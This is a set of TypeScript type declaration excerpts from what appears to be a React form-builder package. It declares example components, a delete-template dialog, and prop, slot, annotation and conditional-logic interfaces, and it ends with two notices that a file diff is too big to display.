export declare const granularReadOnlyTemplate: FormTemplate;
export declare const fixedInputsSectionId: string;
export declare const editableInputsSectionId: string;
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
export default function RestrictedFieldTypesExample(): import("react/jsx-runtime").JSX.Element;
import { DeleteTemplateDialogProps } from '../types';
export declare function DeleteTemplateDialog({ template, open, onClose, isSection, onDelete }: DeleteTemplateDialogProps): import("react/jsx-runtime").JSX.Element;
export default function Slots(): import("react/jsx-runtime").JSX.Element;
export default function StrictReadOnlyExample(): import("react/jsx-runtime").JSX.Element;
import { FormTemplate } from '@opengov/form-utils';
export declare function createLargeFormTemplate(N: number, M: number): FormTemplate;
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
export default function BasicExample(): import("react/jsx-runtime").JSX.Element;
import { FieldTypes, SectionConfiguration, FormTemplate, FieldTemplate, SectionTemplate, LogicTypes } from '@opengov/form-utils';
import { FieldValues } from 'react-hook-form';
/** GENERAL TYPES */
export interface FormBuilderProps {
customFields?: FieldTypes[];
customSections?: SectionConfiguration[];
template: FormTemplate;
isLoading?: boolean;
onTemplateChange?: (template: FormTemplate) => void;
readonly?: boolean;
strictReadOnly?: boolean;
conditionables?: CategoryConditionable[];
blockAddSections?: boolean;
sectionRestrictions?: SectionRestrictions;
blockDraggingFieldsBetweenSections?: ({ fromSection, toSection, field, }: {
fromSection: SectionTemplate;
toSection: SectionTemplate;
field: FieldTemplate;
}) => boolean;
annotations?: Annotation[];
emptyState?: React.ReactNode;
slots?: FormBuilderSlots;
}
export interface DeleteTemplateDialogProps {
template: FieldValues;
isSection: boolean;
open: boolean;
onClose: () => void;
onDelete: () => Promise<void>;
}
export interface ActionButtonProps {
templateId: string;
isSection: boolean;
}
export interface FormBuilderSlots {
/**
* The component that renders the delete template (section or field) dialog.
* @default DeleteTemplateDialog
*/
deleteTemplateDialog?: React.ElementType<DeleteTemplateDialogProps>;
/**
* The component that renders the action button.
* @default ActionButton
*/
actionButton?: React.ElementType<ActionButtonProps>;
}
export type Selector = {
type: 'field' | 'section';
id: string;
};
export type AnnotationType = 'error' | 'warning' | 'added' | 'modified';
export type Annotation = {
selectors: Selector[];
annotations: {
type: AnnotationType;
text: string;
}[];
};
export interface CategoryConditionable {
id: string;
type: 'CATEGORY';
label: string;
operators: LogicTypes[];
options: {
displayValue: string;
key: string;
}[];
}
export interface FieldConditionable {
id: string;
type: 'FIELD';
fieldType: string;
label: string;
operators: LogicTypes[];
options: {
displayValue: string;
key: string;
}[];
isNumeric: boolean;
}
export type Conditionable = CategoryConditionable | FieldConditionable;
export type SectionRestriction = {
blockSectionModification?: boolean;
blockFieldsModification?: boolean;
};
export type SectionRestrictions = Record<string, SectionRestriction>;

Sorry, the diff of this file is too big to display

Sorry, the diff of this file is too big to display